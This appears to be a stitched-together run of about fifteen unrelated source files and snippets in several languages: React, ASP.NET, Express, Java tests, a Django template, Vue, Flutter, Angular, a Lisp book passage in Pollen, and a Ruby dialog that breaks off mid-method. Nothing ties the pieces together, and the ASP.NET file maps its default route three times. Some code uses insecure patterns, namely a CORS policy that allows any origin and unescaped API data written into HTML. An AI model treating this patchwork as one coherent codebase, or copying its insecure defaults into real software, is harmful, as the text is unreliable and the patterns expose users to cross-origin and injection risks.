alignItems: "center", color: "#fff", fontSize: "60px", marginTop: "50px", flexDirection: "column", gap: "20px", }} > <h3>{typeOfColor === "rgb" ? "RGB Color" : "HEX Color"}</h3>{" "} {/* Rendering the type of color */} <h2>{color}</h2> {/* Rendering the value of the generated color */} </div> </div> ); }
using FriendsTown.Data; using FriendsTown.Data.Repositories; using FriendsTown.Transversal; using Microsoft.EntityFrameworkCore; using Microsoft.OpenApi.Models; using FriendsTown.Web.Hubs; using FriendsTown.Services; namespace FriendsTown.Web { public class Program { public static void Main(string[] args) { var builder = WebApplication.CreateBuilder(args); // Add services to the container. builder.Services.AddControllersWithViews(); builder.Services.AddAutoMapper(typeof(AutoMapperProfiles)); builder.Services.AddSignalR(); string apiUrl = builder.Configuration.GetValue<string>("ApiUrl"); builder.Services.AddHttpClient("FriendsTownWebApi", c => c.BaseAddress = new Uri(apiUrl)); builder.Services.AddSingleton<IEmailService, EmailService>(); builder.Services.AddScoped<IActivityRepository, ActivityRepository>(); builder.Services.AddScoped<IFriendRepository, FriendRepository>(); builder.Services.AddScoped<INewsRepository, NewsRepository>(); builder.Services.AddScoped<IEventRepository, EventRepository>(); builder.Services.AddScoped<IEventService, EventService>(); builder.Services.AddDbContext<FriendsTownContext>(options => options.UseSqlServer("name=connectionStrings:FriendsTown")); builder.Services.AddSwaggerGen(options => { options.SwaggerDoc("v1", new OpenApiInfo { Title = "FriendsTown.Web", Version = "v1" }); }); builder.Services.AddCors(); // Set up Database var options = new DbContextOptionsBuilder<FriendsTownContext>() .UseSqlServer(builder.Configuration.GetConnectionString("FriendsTown")) .Options; FriendsTownContext contexto = new FriendsTownContext(options); contexto.Database.EnsureCreated(); var app = builder.Build(); // Configure the HTTP request pipeline. if (!app.Environment.IsDevelopment()) { app.UseExceptionHandler("/Home/Error"); } app.UseStaticFiles(); app.UseRouting(); app.UseAuthorization(); app.UseEndpoints(endpoints => { endpoints.MapControllerRoute( name: "default", pattern: "{controller = Home}/{action = Index }/{id?}"); }); app.UseEndpoints(endpoints => { endpoints.MapControllerRoute( name: "default", pattern: "{controller=Home}/{action=Index}/{id?}"); endpoints.MapHub<BoardHub>("/boardhub"); }); app.UseSwagger(); app.UseSwaggerUI(options => { options.SwaggerEndpoint("/swagger/v1/swagger.json", "WebApiEndpoint"); }); app.UseCors(builder => builder.SetIsOriginAllowed(origin => true)); app.Use(async (context, next) => { context.Response.Headers.Append("X-Frame-Options", "DENY"); await next.Invoke(); }); app.MapControllerRoute( name: "default", pattern: "{controller=Home}/{action=Index}/{id?}"); app.Run(); } } }
Http/2 express server [ ] Image upload using cloudinary --- #### Create and sign https certificate on localhost ## how to serve https locally from your machine > Install chocolatey on your windows machine > install Install mkcert. `choco install mkcert` > Create a locally trusted CA with `mkcert -install` > Generate an SSL certificate with `mkcert localhost` > Init npm project ```javascript import express from 'express'; import https from 'https'; import path from 'path'; import fs from 'fs'; import { fileURLToPath } from 'url'; const app = express(); const __dirname = path.dirname(fileURLToPath(import.meta.url)); // Express routes here // ... // Listen with SSL const server = https.createServer( { key: fs.readFileSync(`${__dirname}/certs/key.pem`, 'utf8'), cert: fs.readFileSync(`${__dirname}/certs/cert.pem`, 'utf8'), }, app ); server.listen(443, (_) => { console.log('App listening at https://localhost'); }); ```
import React from 'react'; import ExamplePdf from './resume.pdf'; import { TypeAnimation } from 'react-type-animation'; const Banner = () => { return ( <div className="bg-gray-800 py-16 md:py-32"> <div className="container mx-auto px-4 sm:px-6 lg:px-8"> <div className="md:flex md:flex-row-reverse md:justify-between items-center"> <div className="md:w-1/2"> <img src="https://i.ibb.co/2jQH8fv/Phone-Camera-2022-09-14-13-18-53-267.jpg" alt="Profile" className="w-96 rounded-full mx-auto md:max-w-none" /> </div> <div className="md:w-1/2 text-center md:text-left"> <h2 className="text-white text-2xl md:text-4xl font-bold leading-tight"> Hi, I'm </h2> <h1 className="text-white text-4xl md:text-6xl font-bold leading-tight mb-4"> Mominul Houqe </h1> <TypeAnimation sequence={[ 'MERN Stack Developer', 1000, 'Frontend Developer', 1000, 'FullStack Developer', 1000, ]} speed={50} style={{ fontSize: '1.5em' }} repeat={Infinity} className="text-gray-400 text-lg md:text-xl mb-6" /> <p className="text-gray-400 leading-relaxed mb-8"> Shot what able cold new the see hold. Friendly as an betrayed formerly he. Morning because as to society behaved moments. </p> <div> <button className="btn btn-primary text-white font-medium py-3 px-6 rounded-full shadow-lg mr-4"> <a href={ExamplePdf} download className="text-white"> Download CV </a> </button> <button className="bg-gray-200 hover:bg-gray-300 text-gray-800 font-medium py-3 px-6 rounded-full shadow-lg"> <a href="#" className="text-gray-800"> Contact </a> </button> </div> </div> </div> </div> </div> ); }; export default Banner;
### 解题思路 本题和 `102` 题基本一致,区别就是**每层的结点在二维数组中存放的先后顺序不同** - 前面所有代码都和 `102` 题一样,只需将最后存放位置每次都从 `0` 开始放就可以了 - 具体**区别步骤**写在代码注释处。 ### 代码 ```java [] /** * Definition for a binary tree node. * public class TreeNode { * int val; * TreeNode left; * TreeNode right; * TreeNode(int x) { val = x; } * } */ class Solution { public List<List<Integer>> levelOrderBottom(TreeNode root) { List<List<Integer>> ans = new ArrayList<>(); if (root == null) { return ans; } Queue<TreeNode> q = new LinkedList<>(); q.add(root); while (!q.isEmpty()) { List<Integer> tmp = new ArrayList<>(); int len = q.size(); for (int i = 0; i < len; i++) { TreeNode node = q.poll(); tmp.add(node.val); if (node.left != null) { q.add(node.left); } if (node.right != null) { q.add(node.right); } } // 在索引 0 的位置加入一维数组 tmp // 每次新的数组进来都会被放在开始的位置 ans.add(0, tmp); } return ans; } } ```
#lang pollen ◊subsubsection{Ещё~немного об~◊ic{evaluate}} ◊indexR{порядок вычислений!термов аппликации} Рассмотренное описание языка является более-менее полным. Мы не~разобрали лишь несколько вспомогательных функций: ◊ic{lookup} и ◊ic{update!}, отвечающие за~окружения, и~◊ic{make-function} вместе с~◊ic{invoke}, занимающиеся функциями. Довольно многое можно сказать об~◊ic{evaluate} уже сейчас. Например, наш диалект имеет единое пространство имён, содержащее только один класс объектов (типичный~◊Lisp-1), куда включаются в~том числе и~функции. ◊seePage{chapter:lisp1-2-omega} Что~насчёт порядка вычисления аргументов функций? В~нашем случае он зависит от порядка вычисления аргументов у~◊ic{cons}, которая используется в~◊ic{evlis}. Но~мы легко можем обеспечить конкретный порядок, например, слева направо: ◊code:lisp{ (define (evlis exps env) (if (pair? exps) (let ((argument1 (evaluate (car exps) env))) (cons argument1 (evlis (cdr exps) env)) ) '() ) ) } Без введения новых специальных конструкций ◊footnote{ Как известно, ◊ic{let} — это простой макрос: ◊ic{(let~((◊${x}~◊${\pi_1}))~◊${\pi_2})} ◊(eq) ◊ic{((lambda~(◊${x})~◊${\pi_2})~◊${\pi_1})}. } мы уточнили поведение определяемого языка. Первая часть книги направлена именно на это: уточнение определяемого языка с~помощью всё более ограниченных возможностей, что снижает зависимость описания от языка, используемого для реализации.
const $ = window.jQuery; const search = () => { let isOpen = false; let typingTimer; // condition to manage the loading animation let isSpinning = false; const getSearchResults = () => { $.getJSON(`${universityData.root_url}/wp-json/university/v1/search`, { term: $("#search-term").val() }, function (results) { $("#search-overlay__results").html(` <div class="row"> <div class="one-third"> <h2 class="search-overlay__section-title" >General Information</h2> ${results.generalInfo.length ? '<ul class="link-list min-list">' : '<p>No general information matches search query</p>' } ${results.generalInfo.map((post) => `<li><a href="${post.permalink}">${post.title}</a>${post.type=='post' ? ` by ${post.authorName}`: ''}</li>`).join(' ')} ${results.generalInfo.length ? '</ul>' : ''} </div> <div class="one-third"> <h2 class="search-overlay__section-title" >Programs</h2> ${results.programs.length ? '<ul class="link-list min-list">' : `<p>No program matches search query. <a href="${universityData.root_url}/programs">View All Programs</a></p>` } ${results.programs.map((post) => `<li><a href="${post.permalink}">${post.title}</a></li>`).join(' ')} ${results.programs.length ? '</ul>' : ''} <h2 class="search-overlay__section-title" >Professors</h2> ${results.professors.length ? '<ul class="professor-cards">' : `<p>No professor matches search query</p>` } ${results.professors.map((post) => ` <li class="professor-card__list-item"> <a class="professor-card" href="${post.permalink}"> <img class="professor-card__image" src="${post.imageUrl}" alt="professor profile" /> <span class="professor-card__name">"${post.title}"</span> </a> </li> `).join(' ')} ${results.professors.length ? '</ul>' : ''} </div> <div class="one-third"> <h2 class="search-overlay__section-title" >Campuses</h2> <h2 class="search-overlay__section-title" >Events</h2> ${results.events.length ? '<ul class="link-list min-list">' : `<p>No program matches search query. <a href="${universityData.root_url}/events">View All Events</a></p>` } ${results.events.map((post) => ` <div class="event-summary"> <a class="event-summary__date t-center" href="${post.permalink}"> <span style="color: white;" class="event-summary__month">${post.month}</span> <span style="color: white;" class="event-summary__day">${post.day}</span> </a> <div class="event-summary__content"> <h5 class="event-summary__title headline headline--tiny"><a href="${post.permalink}">${post.title}</a></h5> <p>${post.excerpt} <a href="${post.permalink}" class="nu gray">Read more</a></p> </div> </div> `).join(' ')} ${results.events.length ? '</ul>' : ''} </div> </div> `); isSpinning = false; }) } // display search field $(".js-search-trigger, .search-overlay__close").on("click", () => { $(".search-overlay").toggleClass("search-overlay--active"); $("body").toggleClass("body-no-scroll"); if ($(".search-overlay").hasClass("search-overlay--active")) { setTimeout(() => {$("#search-term").focus()}, 300); } else { setTimeout(() => {$("#search-term").blur()}, 300); } }); // escape to close $(document).on("keyup", (event) => { if (event.keyCode === 27 && isOpen) { $(".search-overlay").removeClass("search-overlay--active"); $("body").removeClass("body-no-scroll"); setTimeout(() => {$("#search-term").blur()}, 300); isOpen = false; } else if(event.keyCode === 83 && !isOpen && !$("input, textarea").is(":focus")) { $(".search-overlay").addClass("search-overlay--active"); $("body").addClass("body-no-scroll"); setTimeout(() => {$("#search-term").focus()}, 300); isOpen = true; } }) // typing delay $("#search-term").on("input", () => { // clear previous delay clearTimeout(typingTimer); // if search bar has contents if ($("#search-term").val()) { if (!isSpinning) { $("#search-overlay__results").html('<div class="spinner-loader"></div>'); isSpinning = true; } typingTimer = setTimeout(getSearchResults, 1000); } else { $("#search-overlay__results").html(''); isSpinning = false; } }) }; export default search; // const getSearchResults = () => { // $.when ( // $.getJSON(`${universityData.root_url}/wp-json/wp/v2/posts`, { search: $("#search-term").val(), _fields: 'link,title,author_name,type' }), // $.getJSON(`${universityData.root_url}/wp-json/wp/v2/pages`, { search: $("#search-term").val(), _fields: 'link,title,type' }) // ).then((posts, pages) => { // const results = [...posts[0], ...pages[0]]; // $("#search-overlay__results").html(` // <h2 class="search-overlay__section-title">General Information</h2> // ${results.length ? '<ul class="link-list min-list">' : '<p>No general information matches search query</p>' } // ${results.map((post) => `<li><a href="${post.link}">${post.title.rendered}</a>${post.type=='post' ? ` by ${post.authorName}`: ''}</li>`).join(' ')} // ${results.length ? '</ul>' : ''} // `); // isSpinning = false; // }).catch((_err) => { // $("#search-overlay__results").html('<p>Unexpected Error Occured</p>'); // }); // }
import 'package:drawper/drawperUserInfo.dart'; import 'package:drawper/services/database.dart'; import 'package:firebase_auth/firebase_auth.dart'; import 'package:flutter/material.dart'; import 'package:flutter/services.dart'; import 'dart:convert'; // import 'menu_drawer.dart'; // import 'profile.dart'; import 'pages/detailedUser.dart'; class Search extends StatefulWidget { const Search({Key? key}) : super(key: key); @override SearchState createState() => SearchState(); } class SearchState extends State<Search> { List<Map<String,dynamic>> _searchData = []; List<Map<String,dynamic>> _allProfiles = []; @override void initState() { super.initState(); _loadProfiles(); } // Loads all of the user profiles Future<void> _loadProfiles() async { List<Map<String,dynamic>> profiles = await DatabaseService().getAllUsersData(); setState(() { _allProfiles = profiles; }); } final TextEditingController _searchController = TextEditingController(); String _searchTerm = ''; @override void dispose() { // Clean up the controller when the widget is disposed. _searchController.dispose(); super.dispose(); } void updateSearchData() { setState( () { _searchData = _allProfiles.where((user) => user.containsKey('username') && user['username'].toString().startsWith(_searchTerm)).toList(); }); } @override Widget build(BuildContext context) { return Scaffold( resizeToAvoidBottomInset: true, appBar: AppBar( title: TextField( textAlignVertical: TextAlignVertical.bottom, controller: _searchController, // Assign the controller onChanged: (value) { setState(() { _searchTerm = value; }); updateSearchData(); }, decoration: InputDecoration( constraints: const BoxConstraints(maxHeight: 40), filled: true, fillColor: Colors.white, // Background color hintText: 'Search...', border: OutlineInputBorder( borderRadius: BorderRadius.circular(30), borderSide: BorderSide.none, ), hintStyle: const TextStyle(color: Colors.grey), ), style: const TextStyle(color: Colors.black), // Text color ), actions: [ IconButton( icon: const Icon(Icons.clear), onPressed: () { setState(() { _searchTerm = ''; _searchController.clear(); // Clear the text field }); }, ), ], ), body: SizedBox( height: 400, child: ListView.builder( itemCount: _searchData.length, itemBuilder: (context, index) { var userInfo = _searchData[index]; return ListTile( // an individual user relating to the search term title: Text(userInfo['username'], // Username style: const TextStyle( fontWeight: FontWeight.bold, fontSize: 16)), subtitle: Text(userInfo['name'], // Name style: const TextStyle( color: Colors.black54, fontSize: 13)), leading: Container( // Profile picture height: 50, width: 50, decoration: BoxDecoration( border: Border.all( width: 2, color: Colors.purple.shade900, strokeAlign: BorderSide.strokeAlignOutside), shape: BoxShape.circle, color: Colors.grey, image: DecorationImage( image: NetworkImage(userInfo['profilePicUrl']), fit: BoxFit.cover, )), ), onTap: () { DrawperUserInfo uifo = DrawperUserInfo.fromMap(userInfo, userInfo["id"].toString()); Navigator.push( context, MaterialPageRoute( builder: (context) => DetailedUser(userInfo: uifo) ) ).then((updatess) { if(updatess['youFollowedThem']){ User? you = FirebaseAuth.instance.currentUser; setState((){ userInfo['followers'].add(you!.uid); }); } if(updatess['youUnfollowedThem']){ User? you = FirebaseAuth.instance.currentUser; setState((){ userInfo['followers'].remove(you!.uid); }); } }); }, ); }))); } }
package com.example.locationCar.EmployeeTests; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.anyString; import static org.mockito.Mockito.when; import com.example.locationCar.base.dto.BaseDto; import com.example.locationCar.base.dto.BaseErrorDto; import com.example.locationCar.models.EmployeeModel; import com.example.locationCar.repositories.EmployeeRepository; import com.example.locationCar.services.employeeService.ListEmployeeService; import com.example.locationCar.validate.employee.ListEmployeeValidate; import java.util.Collections; import java.util.List; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import org.springframework.data.domain.Page; import org.springframework.data.domain.PageImpl; import org.springframework.data.domain.PageRequest; import org.springframework.http.HttpStatus; public class ListEmployeeTest { @Mock private EmployeeRepository employeeRepository; @Mock private ListEmployeeValidate listEmployeeValidate; private ListEmployeeService listEmployeeService; @BeforeEach public void setup() { MockitoAnnotations.openMocks(this); listEmployeeService = new ListEmployeeService(employeeRepository); } @Test public void testListEmployees_Success() { Page<EmployeeModel> employeePage = new PageImpl<>(Collections.singletonList(new EmployeeModel())); when(employeeRepository.listByRoleAndPosition(any(), any(), any())).thenReturn(employeePage); BaseDto responseEntity = listEmployeeService.listEmployees("VENDEDOR", "VENDEDOR", "0"); assertEquals(HttpStatus.OK.value(), responseEntity.getResult().getStatusCode()); assertEquals("Funcionários listados com sucesso", responseEntity.getResult().getDescription()); } @Test public void testListEmployees_InvalidData() { List<BaseErrorDto> errors = Collections.singletonList(new BaseErrorDto("role", "Campo inválido")); when(listEmployeeValidate.validateParamsToSearch(anyString(), anyString(), anyString())) .thenReturn(errors); ; BaseDto responseEntity = listEmployeeService.listEmployees("ERRADO", "VENDEDOR", "0"); assertEquals(HttpStatus.BAD_REQUEST.value(), responseEntity.getResult().getStatusCode()); assertEquals("Bad Request", responseEntity.getResult().getDescription()); } @Test public void testListEmployees_WrongPagination() { List<EmployeeModel> employeeList = Collections.singletonList(new EmployeeModel()); Page<EmployeeModel> employeePage = new PageImpl<>(employeeList, PageRequest.of(0, 2), 1); when(employeeRepository.listByRoleAndPosition(any(), any(), any())).thenReturn(employeePage); BaseDto responseEntity = listEmployeeService.listEmployees(null, null, "5"); assertEquals(HttpStatus.BAD_REQUEST.value(), responseEntity.getResult().getStatusCode()); assertEquals("Página informada inválida", responseEntity.getResult().getDescription()); } }
{% load staticfiles %} <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! --> <title>{% block title %}base{% endblock %}</title> <!-- Bootstrap --> <link href="{% static 'dist/css/bootstrap.min.css' %}" rel="stylesheet"> <!-- 固定全局css --> <link href="{% static 'css/yu.css' %}" rel="stylesheet"> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script> <script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script> <![endif]--> <script type="text/javascript" src="/static/dist/js/jquery-3.3.1.min.js" ></script> <script type="text/javascript" src="/static/dist/js/bootstrap.min.js"></script> <script type="text/javascript" src="/static/js/yu.js"></script> {% block css %} {% endblock %} </head> <body> <nav class="navbar navbar-default navbar-inverse" role="navigation"> <div class="container-fluid navbar-collapse" > <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#my-nav" aria-expanded="false"> <span class="sr-only">切换导航条</span> <span class="icon-bar">!</span> <span class="icon-bar">ceshi</span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/home/">Mysite</a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse nav-font" id="my-nav"> <ul class="nav navbar-nav nav-pills"> <li class=""><a href="/myuser/index/" class="nav-link">主页</a></li> <li class=""><a href="/mybbs/topic/" class="nav-link">主题空间</a></li> <li class=""><a href="/mybbs/article/">动态文章</a></li> <li class=""><a href="/myuser/home/">我的</a></li> <form class="navbar-form navbar-left" role="search"> <div class="form-group"> <input type="text" class="form-control" placeholder="Search"> </div> <button type="submit" class="btn btn-default nav-font">搜索</button> </form> </ul> <ul class="nav navbar-nav navbar-right nav-font"> {% if request.session.is_login %} <li><a href="#">当前在线:{{ request.session.user_name }}</a></li> <li><a href="/myuser/logout/">登出 </a></li> {% else %} <li><a href="/myuser/login/">登录</a></li> <li><a href="/myuser/register/">注册</a></li> {% endif %} </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container-fluid --> </nav> {% block content %}{% endblock %} <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="{% static 'dist/js/jquery-3.3.1.js' %}"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="{% static 'dist/js/bootstrap.min.js' %}"></script> <script> $('.nav-pills').find('a').each(function () { if (this.href == document.location.href || document.location.href.search(this.href) >= 0) { $(this).parent().addClass('active'); // this.className = 'active'; } }); </script> </body> </html>
// 기본 유틸리티 타입 // 1. keyof: 대상 타입의 key값을 유니온 형태로 참조하는 타입 interface user { id: number; name: string; age: number; } type uk = keyof user; const Uk: uk = "id"; // 2. partial<t>: 대상 타입의 일부만 참조하는 타입 let admin: Partial<user> = { id: 1, name: "hi" }; // 3. required<t>: 모든 속성을 필수로 간주하게 하는 타입 let admin2: Required<user> = { id: 1, name: "hi", age: 5 }; // 4. readonly<t>: 할당만 가능하고 수정은 불가능하게 만드는 타입 let admin3: Readonly<user> = { id: 1, name: "hi", age: 5 }; // admin3.id = 2 // error // 5. Record<K:key, T:type>: 키와 타입을 설정하는 타입 type score2 = "A" | "B" | "C"; type grade2 = 1 | 2 | 3; const grade: Record<grade2, score2> = { 1: "A", 2: "B", 3: "A" }; function isValid(user: user) { const result: Record<keyof user, boolean> = { id: user.id > 10, name: user.name === "hi", age: user.age < 20 }; return result; } // 6. Pick<T,K> : 대상 인터페이스, 타입에서 특정 property만 사용할 때 쓰는 타입 let admin4: Pick<user, "id" | "name"> = { id: 5, name: "hi" }; // 7. Omit<T,K>: Pick과 반대 let admin5: Omit<user, "name"> = { id: 5, age: 20 }; // 8. Exclude<T1, T2>: property를 제외하는 것이 아니라, type 그 자체를 제외시키는 타입 type t1 = string | number; type t2 = Exclude<t1, number>; // 9. nONnULLABLE<T>: null과 undefinded를 타입에서 제외시키는 타입 type t3 = string | null | undefined; type t4 = NonNullable<t3>;
--- import BaseLayout from "../layouts/BaseLayout.astro"; import Hero from "../components/landing/Hero.astro"; import Tools from "../components/landing/Tools.astro"; import About from "../components/landing/About.astro"; import { AstroSeo } from "@astrolib/seo"; --- <!--- Use AstroSeo in all the pages you want different Seo than the index page --> <AstroSeo title="nvc at work" description="Free tools to support personal growth and improve communication outcomes." canonical="https://www.nvcatwork.com" openGraph={{ url: "https://www.nvcatwork.com", title: "nvc at work", description: "Free tools to support personal growth and improve communication outcomes. Developed by communication consultant, workshop facilitator, and full-stack software engineer Joseph Martinez.", images: [ { url: "./Joseph.webp", width: 600, height: 600, alt: "Social open graph", type: "image/jpeg", }, { url: "./Joseph.webp", width: 600, height: 600, alt: "Twitter open graph", type: "image/jpeg", }, { url: "./Joseph.webp" }, ], site_name: "nvc at work", }} /> <BaseLayout> <Hero /> <Tools /> <About /> </BaseLayout> <script> const buttons = document.querySelectorAll("button"); buttons.forEach((button) => { button.addEventListener("click", copyEmailAddress); }); function copyEmailAddress() { navigator.clipboard.writeText("joseph.r.martinez@gmail.com"); buttons.forEach((button) => { button.textContent = "email copied"; }); } </script>
/* eslint-disable no-underscore-dangle */ import { Injectable } from '@angular/core'; import { Storage } from '@ionic/storage-angular'; import { IActivityItem } from '@models'; import { DBKeysEnum } from '@shared/enums/db-keys.enum'; type Values = IActivityItem[] | number; @Injectable({ providedIn: 'root' }) export class LocalDbService { private _activities: IActivityItem[] = []; private _savedDay: number; constructor(private storage: Storage) {} public get Activities(): IActivityItem[] { return this._activities; } public get SavedDay(): number { return this._savedDay; } private set updateActivities(data: IActivityItem[]) { this._activities = data; } private set updateSavedDay(data: number) { this._savedDay = data; } public async init(): Promise<void> { await this.storage.create(); await this.initFromDB(); } /** * @param tokenKey * @description Actualizar un key determinado en el local storage * @example * // Mas informacion sobre Posibles valores en el enum TokenKeysEnum en la carpeta de enums */ public async saveData(tokenKey: DBKeysEnum, data: Values): Promise<void> { const willUpdate = data !== null; if (willUpdate) { await this.storage.set(tokenKey, JSON.stringify(data)); } else { await this.storage.remove(tokenKey); } switch (tokenKey) { case DBKeysEnum.ACTIVITIES: this.updateActivities = data as IActivityItem[]; break; case DBKeysEnum.SAVED_DAY: this.updateSavedDay = data as number; break; default: console.error(` [LOCAL-DB] RAZON: El tokenKey -> ${tokenKey}' <- no existe, revise el enum TokenKeys para ver posibles valores y agregue el tokenKey de ser necesario. PARAMETROS: ${JSON.stringify(arguments)} `); break; } if (!willUpdate) { console.log(`[LOCAL-DB] TokenKey ${tokenKey} eliminado`); } } // public async clearAll(): Promise<void> { // await this.storage.clear(); // } private async initFromDB(): Promise<void> { const ACTIVITIES: string = (await this.storage.get(DBKeysEnum.ACTIVITIES)) || null; const SAVED_DAY: string = (await this.storage.get(DBKeysEnum.SAVED_DAY)) || null; if (!!ACTIVITIES) { this.updateActivities = JSON.parse(ACTIVITIES) as IActivityItem[]; } else { console.warn('[LOCAL] No hay habitos guardadas'); } if (!!SAVED_DAY) { this.updateSavedDay = JSON.parse(SAVED_DAY) as number; } else { console.warn('[LOCAL] No hay dia guardado'); } } }
<template> <div id="detail"> <detail-nav-bar ref="nav" class="detail-nav" @titleClick="titleClick"></detail-nav-bar> <scroll class="content" ref="scroll" :probe-type="3" @scroll="contentScroll"> <detail-swiper :top-images="topImages"></detail-swiper> <detail-base-info :goods="goods"></detail-base-info> <detail-shop-info :shop="shop"></detail-shop-info> <detail-goods-info :detail-info="detailInfo" @imageLoad="imageLoad"></detail-goods-info> <detail-param-info :param-info="paramInfo" ref="params"></detail-param-info> <detail-comment-info :commentInfo="commentInfo" ref="comment"></detail-comment-info> <goods-list :goods="recommends" ref="recommend"></goods-list> </scroll> <detail-bottom-bar @addCart="addToCart"></detail-bottom-bar> <toast :message="message" :show="show"></toast> </div> </template> <script> import { getDetail, Goods, Shop, GoodsParam, getRecommend } from '../../network/detail' import DetailNavBar from './childComps/DetailNavBar' import DetailSwiper from './childComps/DetailSwiper' import DetailBaseInfo from './childComps/DetailBaseInfo' import DetailShopInfo from './childComps/DetailShopInfo' import Scroll from '../../components/common/scroll/Scroll' import DetailGoodsInfo from './childComps/DetailGoodsInfo' import DetailParamInfo from './childComps/DetailParamInfo' import DetailCommentInfo from './childComps/DetailCommentInfo' import GoodsList from '../../components/content/goods/GoodsList' import { itemListenerMixin, backTopMixin } from '../../common/mixin' import { debounce } from '../../common/utils' import DetailBottomBar from './childComps/DetailBottomBar' import { mapActions } from 'vuex' import Toast from '../../components/common/toast/Toast' export default { name: 'Detail', components: { Toast, DetailBottomBar, GoodsList, DetailCommentInfo, DetailParamInfo, DetailGoodsInfo, Scroll, DetailShopInfo, DetailBaseInfo, DetailSwiper, DetailNavBar }, mixins: [itemListenerMixin, backTopMixin], data () { return { iid: null, topImages: [], goods: {}, shop: {}, detailInfo: {}, paramInfo: {}, commentInfo: {}, recommends: [], themeTopYs: [], getThemeTopY: null, currentIndex: 0, message: '', show: false } }, methods: { ...mapActions(['addCart']), addToCart () { // 获取购物车需要展示的信息 const product = {} product.image = this.topImages[0] product.title = this.goods.title product.desc = this.goods.desc product.price = this.goods.realPrice product.iid = this.iid // 将商品添加到购物车 this.addCart(product).then(res => { this.$toast.show(res) }) // this.$store.dispatch('addCart', product).then(res => { // console.log(res) // }) }, contentScroll (position) { const positionY = -position.y // 2.positionY和主题中值进行对比 // [0, 7938, 9120, 9452, Number.MAX_VALUE] // positionY 在0 和7938 之间, index = 0 // positionY 在7938 和79120 之间, index = 1 // positionY 在9120 和9452 之间, index = 2 // positionY 大于等于9452 , index = 3 const length = this.themeTopYs.length for (let i = 0; i < length - 1; i++) { if (this.currentIndex !== i && (positionY >= this.themeTopYs[i] && positionY < this.themeTopYs[i + 1])) { this.currentIndex = i this.$refs.nav.currentIndex = this.currentIndex } } this.listenShowBackTop(position) // 显示回到顶部 // for (let i = 0; i < this.themeTopYs.length; i++) { // if (this.currentIndex !== i && ((i < length - 1 && positionY >= this.themeTopYs[i] && positionY < this.themeTopYs[i + 1]) || // (i === length - 1 && positionY >= this.themeTopYs[i]))) { // this.currentIndex = i // this.$refs.nav.currentIndex = this.currentIndex // } // } }, titleClick (index) { this.$refs.scroll.scrollTo(0, this.themeTopYs[index], 100) }, imageLoad () { this.refresh() // this.$refs.scroll.refresh() this.getThemeTopY() } }, created () { this.iid = this.$route.params.iid getDetail(this.iid).then(res => { console.log(res) // 获取顶部轮播图数据 const data = res.result this.topImages = data.itemInfo.topImages // 获取商品信息 this.goods = new Goods(data.itemInfo, data.columns, data.shooInfo.services) // 创建商铺信息的方案 this.shop = new Shop(data.shopInfo) // 保存商品的详情数据 this.detailInfo = data.detailInfo // 取出参数信息 this.paramInfo = new GoodsParam(data.itemParams.info, data.itemParams.rule) // 取出评论信息 if (data.rate.cRate !== 0) { this.commentInfo = data.rate.list[0] } // this.$nextTick(() => { // // 根据最新的数据,对应的DOM是已经被渲染出来,但是图片依然是没有加载完 // this.themeTopYs = [] // this.themeTopYs.push(0) // this.themeTopYs.push(this.$refs.params.$el.offsetTop) // this.themeTopYs.push(this.$refs.comment.$el.offsetTop) // this.themeTopYs.push(this.$refs.recommend.$el.offsetTop) // }) }) getRecommend().then(res => { this.recommends = res.data.list }) this.getThemeTopY = debounce(() => { this.themeTopYs = [] this.themeTopYs.push(0) this.themeTopYs.push(this.$refs.params.$el.offsetTop) this.themeTopYs.push(this.$refs.comment.$el.offsetTop) this.themeTopYs.push(this.$refs.recommend.$el.offsetTop) this.themeTopYs.push(Number.MAX_VALUE) }, 100) }, mounted () { }, destroyed () { this.$bus.$off('itemImgLoad', this.itemImgListener) } } </script> <style scoped> #detail { position: relative; z-index: 9; background-color: #fff; height: 100vh; } .content { height: calc(100% - 44px); } .detail-nav { position: relative; z-index: 9; background-color: #fff; } </style>
# Fantasdic # Copyright (C) 2006 - 2007 Mathieu Blondel # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. module Fantasdic module UI class PreferencesDialog < GladeBase include GetText GetText.bindtextdomain(Fantasdic::TEXTDOMAIN, nil, nil, "UTF-8") SEL = 1 UNSEL = 0 SELECTION = 0 NAME = 1 def initialize(parent, statusicon, &callback_proc) super("preferences_dialog.glade") @main_app = parent @preferences_dialog.transient_for = parent @preferences_dialog.modal = true @statusicon = statusicon @prefs = Preferences.instance @callback_proc = callback_proc initialize_ui initialize_signals end private def initialize_signals initialize_dictionaries_signals initialize_startup_signals initialize_proxy_signals end def initialize_proxy_signals @enable_proxy_checkbutton.signal_connect("toggled") do @proxy_settings_table.sensitive = \ @enable_proxy_checkbutton.active? end @enable_http_proxy_checkbutton.signal_connect("toggled") do @http_proxy_settings_table.sensitive = \ @enable_http_proxy_checkbutton.active? end @proxy_combobox.signal_connect("changed") do if @proxy_combobox.active == 0 # SOCKS @socks_proxy_vbox.visible = true @http_proxy_vbox.visible = false elsif @proxy_combobox.active == 1 # HTTP @socks_proxy_vbox.visible = false 